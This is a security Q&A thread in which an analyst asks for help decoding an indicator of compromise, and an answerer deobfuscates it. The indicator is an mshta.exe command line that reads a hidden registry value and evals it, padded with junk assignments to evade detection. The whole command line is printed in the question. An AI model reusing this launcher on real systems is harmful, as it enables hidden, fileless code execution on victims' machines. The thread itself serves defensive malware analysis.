-1

I have a IOC that has a command line argument that looks like this below. Wanted to see if someone could help me parse it out a little bit to understand what is happening.

C:\Windows\System32\mshta.exe javascript:GO3sOtu=BN1;Z0y=new%20ActiveXObject(WScript.Shell);Aer53IGv=BY5S;Quaj7=Z0y.RegRead(HKCU\\software\\najpigann\\hspi);RDYKO79Ji=0xq;eval(Quaj7);YWy5A0Za=Fl2JV;
4
  • it's javascript - have you tried parsing it as such? – schroeder Jul 10 '17 at 21:29
  • do you know what mshta is? – schroeder Jul 10 '17 at 21:30
  • where did this IOC come from? – schroeder Jul 11 '17 at 20:13
  • It came from Cisco AMP. – rschapman Jul 12 '17 at 2:17
1

mshta.exe parses web code to run.

If you take the Javascript and run it through a beautifier:

GO3sOtu = BN1;
Z0y = new ActiveXObject(WScript.Shell);
Aer53IGv = BY5S;
Quaj7 = Z0y.RegRead(HKCU\\ software\\ najpigann\\ hspi);
RDYKO79Ji = 0x q;
eval(Quaj7);
YWy5A0Za = Fl2JV;

At this point, it's simple to piece together the code flow:

eval(new ActiveXObject(WScript.Shell).RegRead(HKCU\software\najpigann\hspi))
4
  • I understood the javascript was being passed and understood that mshta was parsing that. What I wasn't following are the items you listed and what they were doing. For example what is going on with the GO3sOtu = BN1; piece? That's what I was wanting to understand. I see the pieces that led to the item you put together. Is the rest just garbage? – rschapman Jul 11 '17 at 16:02
  • When posting, make sure you include the scope of the question, like the parts you understand and the parts you don't – schroeder Jul 11 '17 at 20:10
  • From a Javascript perspective, they do nothing. Either the IOC does not include all the other code (most likely), or it's included to try to evade detection. – schroeder Jul 11 '17 at 20:12
  • Noted on the question etiquette. Thanks for your help. – rschapman Jul 12 '17 at 2:17

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.